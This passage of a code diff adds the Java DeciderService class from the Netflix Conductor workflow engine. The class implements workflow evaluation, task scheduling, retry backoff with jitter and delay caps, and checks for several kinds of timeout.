com.netflix.conductor.core.execution.tasks.SystemTaskRegistry; +import com.netflix.conductor.core.utils.ExternalPayloadStorageUtils; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.core.utils.ParametersUtils; +import com.netflix.conductor.dao.MetadataDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TERMINATE; +import static com.netflix.conductor.common.metadata.tasks.TaskType.USER_DEFINED; +import static com.netflix.conductor.model.TaskModel.Status.*; + +/** + * Decider evaluates the state of the workflow by inspecting the current state along with the + * blueprint. The result of the evaluation is either to schedule further tasks, complete/fail the + * workflow or do nothing. + */ +@Service +@Trace +public class DeciderService { + + private static final Logger LOGGER = LoggerFactory.getLogger(DeciderService.class); + + private final IDGenerator idGenerator; + private final ParametersUtils parametersUtils; + private final ExternalPayloadStorageUtils externalPayloadStorageUtils; + private final MetadataDAO metadataDAO; + private final SystemTaskRegistry systemTaskRegistry; + private final long taskPendingTimeThresholdMins; + + private final Map taskMappers; + + public DeciderService( + IDGenerator idGenerator, + ParametersUtils parametersUtils, + MetadataDAO metadataDAO, + ExternalPayloadStorageUtils externalPayloadStorageUtils, + SystemTaskRegistry systemTaskRegistry, + @Qualifier("taskMappersByTaskType") Map taskMappers, + @Qualifier("annotatedTaskSystems") Map annotatedTaskSystems, + @Value("${conductor.app.taskPendingTimeThreshold:60m}") + Duration taskPendingTimeThreshold) { + this.idGenerator = idGenerator; + this.metadataDAO = metadataDAO; + this.parametersUtils = parametersUtils; + this.taskMappers = taskMappers; + this.externalPayloadStorageUtils = externalPayloadStorageUtils; + this.taskPendingTimeThresholdMins = taskPendingTimeThreshold.toMinutes(); + this.systemTaskRegistry = systemTaskRegistry; + LOGGER.info("taskMappers: {}", taskMappers.keySet()); + LOGGER.info("annotatedTaskMappers: {}", annotatedTaskSystems.keySet()); + // Add annotated mappers only if no existing mapper is registered for that task + // type + // Existing mappers take precedence over annotated ones + annotatedTaskSystems.forEach( + (taskType, mapper) -> { + if (this.taskMappers.putIfAbsent(taskType, mapper) != null) { + LOGGER.info( + "Skipping annotated mapper for '{}' - existing mapper already registered", + taskType); + } + }); + } + + public DeciderOutcome decide(WorkflowModel workflow) throws TerminateWorkflowException { + + // In case of a new workflow the list of tasks will be empty. + final List tasks = workflow.getTasks(); + // Filter the list of tasks and include only tasks that are not executed, + // not marked to be skipped and not ready for rerun. + // For a new workflow, the list of unprocessedTasks will be empty + List unprocessedTasks = + tasks.stream() + .filter(t -> !t.getStatus().equals(SKIPPED) && !t.isExecuted()) + .collect(Collectors.toList()); + + List tasksToBeScheduled = new LinkedList<>(); + if (unprocessedTasks.isEmpty()) { + // this is the flow that the new workflow will go through + tasksToBeScheduled = startWorkflow(workflow); + if (tasksToBeScheduled == null) { + tasksToBeScheduled = new LinkedList<>(); + } + } + return decide(workflow, tasksToBeScheduled); + } + + private DeciderOutcome decide(final WorkflowModel workflow, List preScheduledTasks) + throws TerminateWorkflowException { + + DeciderOutcome outcome = new DeciderOutcome(); + + if (workflow.getStatus().isTerminal()) { + // you cannot evaluate a terminal workflow + LOGGER.debug( + "Workflow {} is already finished. Reason: {}", + workflow, + workflow.getReasonForIncompletion()); + return outcome; + } + + checkWorkflowTimeout(workflow); + + if (workflow.getStatus().equals(WorkflowModel.Status.PAUSED)) { + LOGGER.debug("Workflow " + workflow.getWorkflowId() + " is paused"); + return outcome; + } + + List pendingTasks = new ArrayList<>(); + Set executedTaskRefNames = new HashSet<>(); + boolean hasSuccessfulTerminateTask = false; + for (TaskModel task : workflow.getTasks()) { + + // Filter the list of tasks and include only tasks that are not retried, not + // executed + // marked to be skipped and not part of System tasks that is DECISION, FORK, + // JOIN + // This list will be empty for a new workflow being started + if (!task.isRetried() && !task.getStatus().equals(SKIPPED) && !task.isExecuted()) { + pendingTasks.add(task); + } + + // Get all the tasks that have not completed their lifecycle yet + // This list will be empty for a new workflow + if (task.isExecuted()) { + executedTaskRefNames.add(task.getReferenceTaskName()); + } + + if (TERMINATE.name().equals(task.getTaskType()) + && task.getStatus().isTerminal() + && task.getStatus().isSuccessful()) { + hasSuccessfulTerminateTask = true; + outcome.terminateTask = task; + } + } + + Map tasksToBeScheduled = new LinkedHashMap<>(); + + preScheduledTasks.forEach( + preScheduledTask -> { + tasksToBeScheduled.put( + preScheduledTask.getReferenceTaskName(), preScheduledTask); + }); + + // A new workflow does not enter this code branch + for (TaskModel pendingTask : pendingTasks) { + + if (systemTaskRegistry.isSystemTask(pendingTask.getTaskType()) + && !pendingTask.getStatus().isTerminal()) { + tasksToBeScheduled.putIfAbsent(pendingTask.getReferenceTaskName(), pendingTask); + executedTaskRefNames.remove(pendingTask.getReferenceTaskName()); + } + + Optional taskDefinition = pendingTask.getTaskDefinition(); + if (taskDefinition.isEmpty()) { + taskDefinition = + Optional.ofNullable( + workflow.getWorkflowDefinition() + .getTaskByRefName( + pendingTask.getReferenceTaskName())) + .map(WorkflowTask::getTaskDefinition); + } + + if (taskDefinition.isPresent()) { + // Total timeout is checked first: if the overall budget is exhausted any + // per-attempt timeout check is moot. + checkTotalTimeout(taskDefinition.get(), pendingTask); + checkTaskTimeout(taskDefinition.get(), pendingTask); + checkTaskPollTimeout(taskDefinition.get(), pendingTask); + // If the task has not been updated for "responseTimeoutSeconds" then mark task + // as + // TIMED_OUT + if (isResponseTimedOut(taskDefinition.get(), pendingTask)) { + timeoutTask(taskDefinition.get(), pendingTask); + } + } + + if (pendingTask.getStatus().isTerminal() && !pendingTask.getStatus().isSuccessful()) { + WorkflowTask workflowTask = pendingTask.getWorkflowTask(); + if (workflowTask == null) { + workflowTask = + workflow.getWorkflowDefinition() + .getTaskByRefName(pendingTask.getReferenceTaskName()); + } + + Optional retryTask = + retry(taskDefinition.orElse(null), workflowTask, pendingTask, workflow); + if (retryTask.isPresent()) { + tasksToBeScheduled.put(retryTask.get().getReferenceTaskName(), retryTask.get()); + executedTaskRefNames.remove(retryTask.get().getReferenceTaskName()); + outcome.tasksToBeUpdated.add(pendingTask); + } else if (!(pendingTask.getWorkflowTask() != null + && pendingTask.getWorkflowTask().isPermissive() + && !pendingTask.getWorkflowTask().isOptional())) { + pendingTask.setStatus(COMPLETED_WITH_ERRORS); + } + } + + if (!pendingTask.isExecuted() + && !pendingTask.isRetried() + && pendingTask.getStatus().isTerminal()) { + pendingTask.setExecuted(true); + List nextTasks = getNextTask(workflow, pendingTask); + if (pendingTask.isLoopOverTask() + && !TaskType.DO_WHILE.name().equals(pendingTask.getTaskType()) + && !nextTasks.isEmpty()) { + nextTasks = filterNextLoopOverTasks(nextTasks, pendingTask, workflow); + } + nextTasks.forEach( + nextTask -> + tasksToBeScheduled.putIfAbsent( + nextTask.getReferenceTaskName(), nextTask)); + outcome.tasksToBeUpdated.add(pendingTask); + LOGGER.debug( + "Scheduling Tasks from {}, next = {} for workflowId: {}", + pendingTask.getTaskDefName(), + nextTasks.stream() + .map(TaskModel::getTaskDefName) + .collect(Collectors.toList()), + workflow.getWorkflowId()); + } + } + + // All the tasks that need to scheduled are added to the outcome, in case of + List unScheduledTasks = + tasksToBeScheduled.values().stream() + .filter(task -> !executedTaskRefNames.contains(task.getReferenceTaskName())) + .collect(Collectors.toList()); + if (!unScheduledTasks.isEmpty()) { + LOGGER.debug( + "Scheduling Tasks: {} for workflow: {}", + unScheduledTasks.stream() + .map(TaskModel::getTaskDefName) + .collect(Collectors.toList()), + workflow.getWorkflowId()); + outcome.tasksToBeScheduled.addAll(unScheduledTasks); + } + if (hasSuccessfulTerminateTask + || (outcome.tasksToBeScheduled.isEmpty() && checkForWorkflowCompletion(workflow))) { + LOGGER.debug("Marking workflow: {} as complete.", workflow); + List permissiveTasksTerminalNonSuccessful = + workflow.getTasks().stream() + .filter(t -> t.getWorkflowTask() != null) + .filter(t -> t.getWorkflowTask().isPermissive()) + .filter(t -> !t.getWorkflowTask().isOptional()) + .collect( + Collectors.toMap( + TaskModel::getReferenceTaskName, + t -> t, + (t1, t2) -> + t1.getRetryCount() > t2.getRetryCount() + ? t1 + : t2)) + .values() + .stream() + .filter( + t -> + t.getStatus().isTerminal() + && !t.getStatus().isSuccessful()) + .toList(); + if (!permissiveTasksTerminalNonSuccessful.isEmpty()) { + final String errMsg = + permissiveTasksTerminalNonSuccessful.stream() + .map( + t -> + String.format( + "Task %s failed with status: %s and reason: '%s'", + t.getTaskId(), + t.getStatus(), + t.getReasonForIncompletion())) + .collect(Collectors.joining(". ")); + throw new TerminateWorkflowException(errMsg); + } + outcome.isComplete = true; + } + + return outcome; + } + + @VisibleForTesting + List filterNextLoopOverTasks( + List tasks, TaskModel pendingTask, WorkflowModel workflow) { + + // Update the task reference name and iteration + tasks.forEach( + nextTask -> { + nextTask.setReferenceTaskName( + TaskUtils.appendIteration( + nextTask.getReferenceTaskName(), pendingTask.getIteration())); + nextTask.setIteration(pendingTask.getIteration()); + }); + + List tasksInWorkflow = + workflow.getTasks().stream() + .filter( + runningTask -> + runningTask.getStatus().equals(TaskModel.Status.IN_PROGRESS) + || runningTask.getStatus().isTerminal()) + .map(TaskModel::getReferenceTaskName) + .collect(Collectors.toList()); + + return tasks.stream() + .filter( + runningTask -> + !tasksInWorkflow.contains(runningTask.getReferenceTaskName())) + .collect(Collectors.toList()); + } + + private List startWorkflow(WorkflowModel workflow) + throws TerminateWorkflowException { + final WorkflowDef workflowDef = workflow.getWorkflowDefinition(); + + LOGGER.debug("Starting workflow: {}", workflow); + + // The tasks will be empty in case of new workflow + List tasks = workflow.getTasks(); + // Check if the workflow is a re-run case or if it is a new workflow execution + if (workflow.getReRunFromWorkflowId() == null || tasks.isEmpty()) { + + if (workflowDef.getTasks().isEmpty()) { + throw new TerminateWorkflowException( + "No tasks found to be executed", WorkflowModel.Status.COMPLETED); + } + + WorkflowTask taskToSchedule = + workflowDef + .getTasks() + .get(0); // Nothing is running yet - so schedule the first task + // Loop until a non-skipped task is found + while (isTaskSkipped(taskToSchedule, workflow)) { + taskToSchedule = workflowDef.getNextTask(taskToSchedule.getTaskReferenceName()); + } + + // In case of a new workflow, the first non-skippable task will be scheduled + return getTasksToBeScheduled(workflow, taskToSchedule, 0); + } + + // Get the first task to schedule + TaskModel rerunFromTask = + tasks.stream() + .findFirst() + .map( + task -> { + task.setStatus(SCHEDULED); + task.setRetried(true); + task.setRetryCount(0); + return task; + }) + .orElseThrow( + () -> { + String reason = + String.format( + "The workflow %s is marked for re-run from %s but could not find the starting task", + workflow.getWorkflowId(), + workflow.getReRunFromWorkflowId()); + return new TerminateWorkflowException(reason); + }); + + return Collections.singletonList(rerunFromTask); + } + + /** + * Updates the workflow output. + * + * @param workflow the workflow instance + * @param task if not null, the output of this task will be copied to workflow output if no + * output parameters are specified in the workflow definition if null, the output of the + * last task in the workflow will be copied to workflow output of no output parameters are + * specified in the workflow definition + */ + void updateWorkflowOutput(final WorkflowModel workflow, TaskModel task) { + List allTasks = workflow.getTasks(); + if (allTasks.isEmpty()) { + return; + } + + Map output = new HashMap<>(); + Optional optionalTask = + allTasks.stream() + .filter( + t -> + TaskType.TERMINATE.name().equals(t.getTaskType()) + && t.getStatus().isTerminal() + && t.getStatus().isSuccessful()) + .findFirst(); + if (optionalTask.isPresent()) { + TaskModel terminateTask = optionalTask.get(); + if (StringUtils.isNotBlank(terminateTask.getExternalOutputPayloadStoragePath())) { + output = + externalPayloadStorageUtils.downloadPayload( + terminateTask.getExternalOutputPayloadStoragePath()); + Monitors.recordExternalPayloadStorageUsage( + terminateTask.getTaskDefName(), + Operation.READ.toString(), + PayloadType.TASK_OUTPUT.toString()); + } else if (!terminateTask.getOutputData().isEmpty()) { + output = terminateTask.getOutputData(); + } + } else { + TaskModel last = Optional.ofNullable(task).orElse(allTasks.get(allTasks.size() - 1)); + WorkflowDef workflowDef = workflow.getWorkflowDefinition(); + if (workflowDef.getOutputParameters() != null + && !workflowDef.getOutputParameters().isEmpty()) { + output = + parametersUtils.getTaskInput( + workflowDef.getOutputParameters(), workflow, null, null); + } else if (StringUtils.isNotBlank(last.getExternalOutputPayloadStoragePath())) { + output = + externalPayloadStorageUtils.downloadPayload( + last.getExternalOutputPayloadStoragePath()); + Monitors.recordExternalPayloadStorageUsage( + last.getTaskDefName(), + Operation.READ.toString(), + PayloadType.TASK_OUTPUT.toString()); + } else { + output = last.getOutputData(); + } + } + workflow.setOutput(output); + } + + public boolean checkForWorkflowCompletion(final WorkflowModel workflow) + throws TerminateWorkflowException { + + Map taskStatusMap = new HashMap<>(); + List nonExecutedTasks = new ArrayList<>(); + for (TaskModel task : workflow.getTasks()) { + taskStatusMap.put(task.getReferenceTaskName(), task.getStatus()); + if (!task.getStatus().isTerminal()) { + return false; + } + + // If there is a TERMINATE task that has been executed successfuly then the + // workflow + // should be marked as completed. + if (TERMINATE.name().equals(task.getTaskType()) + && task.getStatus().isTerminal() + && task.getStatus().isSuccessful()) { + return true; + } + if (!task.isRetried() || !task.isExecuted()) { + nonExecutedTasks.add(task); + } + } + + // If there are no tasks executed, then we are not done yet + if (taskStatusMap.isEmpty()) { + return false; + } + + List workflowTasks = workflow.getWorkflowDefinition().getTasks(); + + for (WorkflowTask wftask : workflowTasks) { + TaskModel.Status status = taskStatusMap.get(wftask.getTaskReferenceName()); + if (status == null || !status.isTerminal()) { + return false; + } + } + + boolean noPendingSchedule = + nonExecutedTasks.stream() + .parallel() + .noneMatch( + wftask -> { + String next = getNextTasksToBeScheduled(workflow, wftask); + return next != null && !taskStatusMap.containsKey(next); + }); + + return noPendingSchedule; + } + + List getNextTask(WorkflowModel workflow, TaskModel task) { + final WorkflowDef workflowDef = workflow.getWorkflowDefinition(); + + // Get the following task after the last completed task + if (systemTaskRegistry.isSystemTask(task.getTaskType()) + && (TaskType.TASK_TYPE_DECISION.equals(task.getTaskType()) + || TaskType.TASK_TYPE_SWITCH.equals(task.getTaskType()))) { + if (task.getInputData().get("hasChildren") != null) { + return Collections.emptyList(); + } + } + + String taskReferenceName = + task.isLoopOverTask() + ? TaskUtils.removeIterationFromTaskRefName(task.getReferenceTaskName()) + : task.getReferenceTaskName(); + WorkflowTask taskToSchedule = workflowDef.getNextTask(taskReferenceName); + while (isTaskSkipped(taskToSchedule, workflow)) { + taskToSchedule = workflowDef.getNextTask(taskToSchedule.getTaskReferenceName()); + } + if (taskToSchedule != null && TaskType.DO_WHILE.name().equals(taskToSchedule.getType())) { + // check if already has this DO_WHILE task, ignore it if it already exists + String nextTaskReferenceName = taskToSchedule.getTaskReferenceName(); + if (workflow.getTasks().stream() + .anyMatch( + runningTask -> + runningTask + .getReferenceTaskName() + .equals(nextTaskReferenceName))) { + return Collections.emptyList(); + } + } + if (taskToSchedule != null) { + return getTasksToBeScheduled(workflow, taskToSchedule, 0); + } + + return Collections.emptyList(); + } + + private String getNextTasksToBeScheduled(WorkflowModel workflow, TaskModel task) { + final WorkflowDef def = workflow.getWorkflowDefinition(); + + String taskReferenceName = task.getReferenceTaskName(); + WorkflowTask taskToSchedule = def.getNextTask(taskReferenceName); + while (isTaskSkipped(taskToSchedule, workflow)) { + taskToSchedule = def.getNextTask(taskToSchedule.getTaskReferenceName()); + } + return taskToSchedule == null ? null : taskToSchedule.getTaskReferenceName(); + } + + @VisibleForTesting + Optional retry( + TaskDef taskDefinition, + WorkflowTask workflowTask, + TaskModel task, + WorkflowModel workflow) + throws TerminateWorkflowException { + + int retryCount = task.getRetryCount(); + + if (taskDefinition == null) { + taskDefinition = metadataDAO.getTaskDef(task.getTaskDefName()); + } + + final int expectedRetryCount = + taskDefinition == null + ? 0 + : Optional.ofNullable(workflowTask) + .map(WorkflowTask::getRetryCount) + .orElse(taskDefinition.getRetryCount()); + if (!task.getStatus().isRetriable() + || TaskType.isBuiltIn(task.getTaskType()) + || expectedRetryCount <= retryCount) { + if (workflowTask != null + && (workflowTask.isOptional() || workflowTask.isPermissive())) { + return Optional.empty(); + } + WorkflowModel.Status status; + switch (task.getStatus()) { + case CANCELED: + status = WorkflowModel.Status.TERMINATED; + break; + case TIMED_OUT: + status = WorkflowModel.Status.TIMED_OUT; + break; + default: + status = WorkflowModel.Status.FAILED; + break; + } + updateWorkflowOutput(workflow, task); + final String errMsg = + String.format( + "Task %s failed with status: %s and reason: '%s'", + task.getTaskId(), status, task.getReasonForIncompletion()); + throw new TerminateWorkflowException(errMsg, status, task); + } + + // Guard: stop retrying if the total time budget across all attempts is exhausted. + // This is checked here (not only in checkTotalTimeout) so that a task timed out by a + // per-attempt policy with RETRY does not get re-queued once the total budget is gone. + if (taskDefinition.getTotalTimeoutSeconds() > 0 && task.getFirstScheduledTime() > 0) { + long totalElapsedSeconds = + (System.currentTimeMillis() - task.getFirstScheduledTime()) / 1000; + if (totalElapsedSeconds >= taskDefinition.getTotalTimeoutSeconds()) { + final String errMsg = + String.format( + "Task %s/%s exceeded total timeout of %d seconds " + + "(elapsed %d seconds across all attempts). " + + "No further retries will be attempted.", + task.getTaskId(), + task.getTaskDefName(), + taskDefinition.getTotalTimeoutSeconds(), + totalElapsedSeconds); + WorkflowModel.Status totalTimeoutStatus = + task.getStatus() == TaskModel.Status.TIMED_OUT + ? WorkflowModel.Status.TIMED_OUT + : WorkflowModel.Status.FAILED; + updateWorkflowOutput(workflow, task); + throw new TerminateWorkflowException(errMsg, totalTimeoutStatus, task); + } + } + + // retry... - but not immediately - put a delay... + int startDelay = taskDefinition.getRetryDelaySeconds(); + switch (taskDefinition.getRetryLogic()) { + case FIXED: + startDelay = taskDefinition.getRetryDelaySeconds(); + startDelay = applyMaxRetryDelayCap(startDelay, taskDefinition); + break; + case LINEAR_BACKOFF: + int linearRetryDelaySeconds = + taskDefinition.getRetryDelaySeconds() + * taskDefinition.getBackoffScaleFactor() + * (task.getRetryCount() + 1); + // Reset integer overflow to max value + startDelay = + linearRetryDelaySeconds < 0 ? Integer.MAX_VALUE : linearRetryDelaySeconds; + startDelay = applyMaxRetryDelayCap(startDelay, taskDefinition); + break; + case EXPONENTIAL_BACKOFF: + int exponentialRetryDelaySeconds = + taskDefinition.getRetryDelaySeconds() + * (int) Math.pow(2, task.getRetryCount()); + // Reset integer overflow to max value + startDelay = + exponentialRetryDelaySeconds < 0 + ? Integer.MAX_VALUE + : exponentialRetryDelaySeconds; + startDelay = applyMaxRetryDelayCap(startDelay, taskDefinition); + break; + } + + task.setRetried(true); + + // Compute ms-precision total delay: base delay in seconds + random jitter in [0, + // maxJitterMs] + long jitterMs = 0; + if (taskDefinition.getBackoffJitterMs() > 0) { + jitterMs = + ThreadLocalRandom.current() + .nextLong(0, taskDefinition.getBackoffJitterMs() + 1); + } + long totalDelayMs = (long) startDelay * 1000 + jitterMs; + + TaskModel rescheduled = task.copy(); + resetRetriedTaskRuntimeState(rescheduled); + rescheduled.setStartDelayInSeconds(startDelay); + rescheduled.setCallbackAfterSeconds(startDelay); + rescheduled.setCallbackAfterMs(totalDelayMs); + rescheduled.setRetryCount(task.getRetryCount() + 1); + rescheduled.setRetried(false); + rescheduled.setTaskId(idGenerator.generate()); + rescheduled.setRetriedTaskId(task.getTaskId()); + rescheduled.setStatus(SCHEDULED); + rescheduled.setPollCount(0); + rescheduled.setInputData(new HashMap<>(task.getInputData())); + rescheduled.setReasonForIncompletion(task.getReasonForIncompletion()); + rescheduled.setSubWorkflowId(null); + rescheduled.setSeq(0); + rescheduled.setScheduledTime(0); + rescheduled.setStartTime(0); + rescheduled.setEndTime(0); + rescheduled.setWorkerId(null); + + if (StringUtils.isNotBlank(task.getExternalInputPayloadStoragePath())) { + rescheduled.setExternalInputPayloadStoragePath( + task.getExternalInputPayloadStoragePath()); + } else { + rescheduled.addInput(task.getInputData()); + } + if (workflowTask != null && workflow.getWorkflowDefinition().getSchemaVersion() > 1) { + Map taskInput = + parametersUtils.getTaskInputV2( + workflowTask.getInputParameters(), + workflow, + rescheduled.getTaskId(), + taskDefinition); + rescheduled.addInput(taskInput); + } + // for the schema version 1, we do not have to recompute the inputs + return Optional.of(rescheduled); + } + + private void resetRetriedTaskRuntimeState(TaskModel task) { + task.setUpdateTime(0); + task.setScheduledTime(0); + task.setStartTime(0); + task.setEndTime(0); + task.setWorkerId(null); + task.setCallbackAfterMs(0); + task.setOutputData(new HashMap<>()); + task.setExternalOutputPayloadStoragePath(null); + task.setOutputMessage(null); + task.getInputData().remove("subWorkflowId"); + } + + @VisibleForTesting + void checkWorkflowTimeout(WorkflowModel workflow) { + WorkflowDef workflowDef = workflow.getWorkflowDefinition(); + if (workflowDef == null) { + LOGGER.warn("Missing workflow definition : {}", workflow.getWorkflowId()); + return; + } + if (workflow.getStatus().isTerminal() || workflowDef.getTimeoutSeconds() <= 0) { + return; + } + + long timeout = 1000L * workflowDef.getTimeoutSeconds(); + long now = System.currentTimeMillis(); + long elapsedTime = + workflow.getLastRetriedTime() > 0 + ? now - workflow.getLastRetriedTime() + : now - workflow.getCreateTime(); + + if (elapsedTime < timeout) { + return; + } + + String reason = + String.format( + "Workflow timed out after %d seconds. Timeout configured as %d seconds. " + + "Timeout policy configured to %s", + elapsedTime / 1000L, + workflowDef.getTimeoutSeconds(), + workflowDef.getTimeoutPolicy().name()); + + switch (workflowDef.getTimeoutPolicy()) { + case ALERT_ONLY: + LOGGER.info("{} {}", workflow.getWorkflowId(), reason); + Monitors.recordWorkflowTermination( + workflow.getWorkflowName(), + WorkflowModel.Status.TIMED_OUT, + workflow.getOwnerApp()); + return; + case TIME_OUT_WF: + throw new TerminateWorkflowException(reason, WorkflowModel.Status.TIMED_OUT); + } + } + + /** + * Enforces {@link TaskDef#getTotalTimeoutSeconds()} — a hard wall-clock budget that spans the + * entire lifetime of the task including all retry delays, not just a single attempt. + * + *

When the budget is exceeded the task is timed out via the same {@link + * #timeoutTaskWithTimeoutPolicy} path used for per-attempt timeouts, so the configured {@link + * TaskDef.TimeoutPolicy} still applies (ALERT_ONLY logs, RETRY sets TIMED_OUT which then fails + * permanently in {@link #retry}, TIME_OUT_WF terminates the workflow). + * + *

Tasks created before {@code firstScheduledTime} was introduced (value == 0) are skipped to + * preserve backward compatibility. + */ + @VisibleForTesting + void checkTotalTimeout(TaskDef taskDef, TaskModel task) { + if (taskDef == null + || taskDef.getTotalTimeoutSeconds() <= 0 + || task.getStatus().isTerminal() + || task.getFirstScheduledTime() <= 0) { + return; + } + long totalElapsedSeconds = + (System.currentTimeMillis() - task.getFirstScheduledTime()) / 1000; + if (totalElapsedSeconds < taskDef.getTotalTimeoutSeconds()) { + return; + } + String reason = + String.format( + "Task %s/%s exceeded total timeout of %d seconds " + + "(elapsed %d seconds across all attempts including retry delays). " + + "Timeout policy: %s", + task.getTaskDefName(), + task.getTaskId(), + taskDef.getTotalTimeoutSeconds(), + totalElapsedSeconds, + taskDef.getTimeoutPolicy().name()); + timeoutTaskWithTimeoutPolicy(reason, taskDef, task); + } + + void checkTaskTimeout(TaskDef taskDef, TaskModel task) { + + if (taskDef == null) { + LOGGER.warn( + "Missing task definition for task:{}/{} in workflow:{}", + task.getTaskId(), + task.getTaskDefName(), + task.getWorkflowInstanceId()); + return; + } + if (task.getStatus().isTerminal() + || taskDef.getTimeoutSeconds() <= 0 + || task.getStartTime() <= 0) { + return; + } + + long timeout = 1000L * taskDef.getTimeoutSeconds(); + long now = System.currentTimeMillis(); + long elapsedTime = + now - (task.getStartTime() + ((long) task.getStartDelayInSeconds() * 1000L)); + + if (elapsedTime < timeout) { + return; + } + + String reason = + String.format( + "Task timed out after %d seconds. Timeout configured as %d seconds. " + + "Timeout policy configured to %s", + elapsedTime / 1000L, + taskDef.getTimeoutSeconds(), + taskDef.getTimeoutPolicy().name()); + timeoutTaskWithTimeoutPolicy(reason, taskDef, task); + } + + @VisibleForTesting + void checkTaskPollTimeout(TaskDef taskDef, TaskModel task) { + if (taskDef == null) { + LOGGER.warn( + "Missing task definition for task:{}/{} in workflow:{}", + task.getTaskId(), + task.getTaskDefName(), + task.getWorkflowInstanceId()); + return; + } + if (taskDef.getPollTimeoutSeconds() == null + || taskDef.getPollTimeoutSeconds() <= 0 + || !task.getStatus().equals(SCHEDULED)) { + return; + } + + final long pollTimeout = 1000L * taskDef.getPollTimeoutSeconds(); + final long adjustedPollTimeout = pollTimeout + task.getCallbackAfterSeconds() * 1000L; + final long now = System.currentTimeMillis(); + final long pollElapsedTime = + now - (task.getScheduledTime() + ((long) task.getStartDelayInSeconds() * 1000L)); + + if (pollElapsedTime < adjustedPollTimeout) { + return; + } + + String reason = + String.format( + "Task poll timed out after %d seconds. Poll timeout configured as %d seconds. Timeout policy configured to %s", + pollElapsedTime / 1000L, + pollTimeout / 1000L, + taskDef.getTimeoutPolicy().name()); + timeoutTaskWithTimeoutPolicy(reason, taskDef, task); + } + + void timeoutTaskWithTimeoutPolicy(String reason, TaskDef taskDef, TaskModel task) { + Monitors.recordTaskTimeout(task.getTaskDefName()); + + switch (taskDef.getTimeoutPolicy()) { + case ALERT_ONLY: + LOGGER.info(reason); + return; + case RETRY: + task.setStatus(TIMED_OUT); + task.setReasonForIncompletion(reason); + return; + case TIME_OUT_WF: + task.setStatus(TIMED_OUT); + task.setReasonForIncompletion(reason); + throw new TerminateWorkflowException(reason, WorkflowModel.Status.TIMED_OUT, task); + } + } + + @VisibleForTesting + boolean isResponseTimedOut(TaskDef taskDefinition, TaskModel task) { + if (taskDefinition == null) { + LOGGER.warn( + "missing task type : {}, workflowId= {}", + task.getTaskDefName(), + task.getWorkflowInstanceId()); + return false; + } + + if (task.getStatus().isTerminal() || isAyncCompleteSystemTask(task)) { + return false; + } + + // calculate pendingTime + long now = System.currentTimeMillis(); + long callbackTime = 1000L * task.getCallbackAfterSeconds(); + long referenceTime = + task.getUpdateTime() > 0 ? task.getUpdateTime() : task.getScheduledTime(); + long pendingTime = now - (referenceTime + callbackTime); + Monitors.recordTaskPendingTime(task.getTaskType(), task.getWorkflowType(), pendingTime); + long thresholdMS = taskPendingTimeThresholdMins * 60 * 1000; + if (pendingTime > thresholdMS) { + LOGGER.warn( + "Task: {} of type: {} in workflow: {}/{} is in pending state for longer than {} ms", + task.getTaskId(), + task.getTaskType(), + task.getWorkflowInstanceId(), + task.getWorkflowType(), + thresholdMS); + } + + if (!task.getStatus().equals(IN_PROGRESS) + || taskDefinition.getResponseTimeoutSeconds() == 0) { + return false; + } + + LOGGER.debug( + "Evaluating responseTimeOut for Task: {}, with Task Definition: {}", + task, + taskDefinition); + long responseTimeout = 1000L * taskDefinition.getResponseTimeoutSeconds(); + long adjustedResponseTimeout = responseTimeout + callbackTime; + long noResponseTime = now - task.getUpdateTime(); + + if (noResponseTime < adjustedResponseTimeout) { + LOGGER.debug( + "Current responseTime: {} has not exceeded the configured responseTimeout of {} for the Task: {} with Task Definition: {}", + pendingTime, + responseTimeout, + task, + taskDefinition); + return false; + } + + Monitors.recordTaskResponseTimeout(task.getTaskDefName()); + return true; + } + + private void timeoutTask(TaskDef taskDef, TaskModel task) { + String reason = + "responseTimeout: " + + taskDef.getResponseTimeoutSeconds() + + " exceeded for the taskId: " + + task.getTaskId() + + " with Task Definition: " + + task.getTaskDefName(); + LOGGER.debug(reason); + task.setStatus(TIMED_OUT); + task.setReasonForIncompletion(reason); + } + + public List getTasksToBeScheduled( + WorkflowModel workflow, WorkflowTask taskToSchedule, int retryCount) { + return getTasksToBeScheduled(workflow, taskToSchedule, retryCount, null); + } + + public List getTasksToBeScheduled( + WorkflowModel workflow, + WorkflowTask taskToSchedule, + int retryCount, + String retriedTaskId) { + Map input = + parametersUtils.getTaskInput( + taskToSchedule.getInputParameters(), workflow, null, null); + + String type = taskToSchedule.getType(); + + // get tasks already scheduled (in progress/terminal) for this workflow instance + List tasksInWorkflow = + workflow.getTasks().stream() + .filter( + runningTask -> + runningTask.getStatus().equals(TaskModel.Status.IN_PROGRESS) + || runningTask.getStatus().isTerminal()) + .map(TaskModel::getReferenceTaskName) + .collect(Collectors.toList()); + + String taskId = idGenerator.generate(); + TaskMapperContext taskMapperContext = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(taskToSchedule.getTaskDefinition()) + .withWorkflowTask(taskToSchedule) + .withTaskInput(input) + .withRetryCount(retryCount) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .withDeciderService(this) + .build(); + + // For static forks, each branch of the fork creates a join task upon completion + // for + // dynamic forks, a join task is created with the fork and also with each branch + // of the + // fork. + // A new task must only be scheduled if a task, with the same reference name is + // not already + // in this workflow instance + return taskMappers + .getOrDefault(type, taskMappers.get(USER_DEFINED.name())) + .getMappedTasks(taskMapperContext) + .stream() + .filter(task -> !tasksInWorkflow.contains(task.getReferenceTaskName())) + .collect(Collectors.toList()); + } + + private int applyMaxRetryDelayCap(int delaySeconds, TaskDef taskDef) { + int cap = taskDef.getMaxRetryDelaySeconds(); + return (cap > 0 && delaySeconds > cap) ? cap : delaySeconds; + } + + private boolean isTaskSkipped(WorkflowTask taskToSchedule, WorkflowModel workflow) { + try { + boolean isTaskSkipped = false; + if (taskToSchedule != null) { + TaskModel t = workflow.getTaskByRefName(taskToSchedule.getTaskReferenceName()); + if (t == null) { + isTaskSkipped = false; + } else if (t.getStatus().equals(SKIPPED)) { + isTaskSkipped = true; + } + } + return isTaskSkipped; + } catch (Exception e) { + throw new TerminateWorkflowException(e.getMessage()); + } + } + + private boolean isAyncCompleteSystemTask(TaskModel task) { + return systemTaskRegistry.isSystemTask(task.getTaskType()) + && systemTaskRegistry.get(task.getTaskType()).isAsyncComplete(task); + } + + public static class DeciderOutcome { + + List tasksToBeScheduled = new LinkedList<>(); + List tasksToBeUpdated = new LinkedList<>(); + boolean 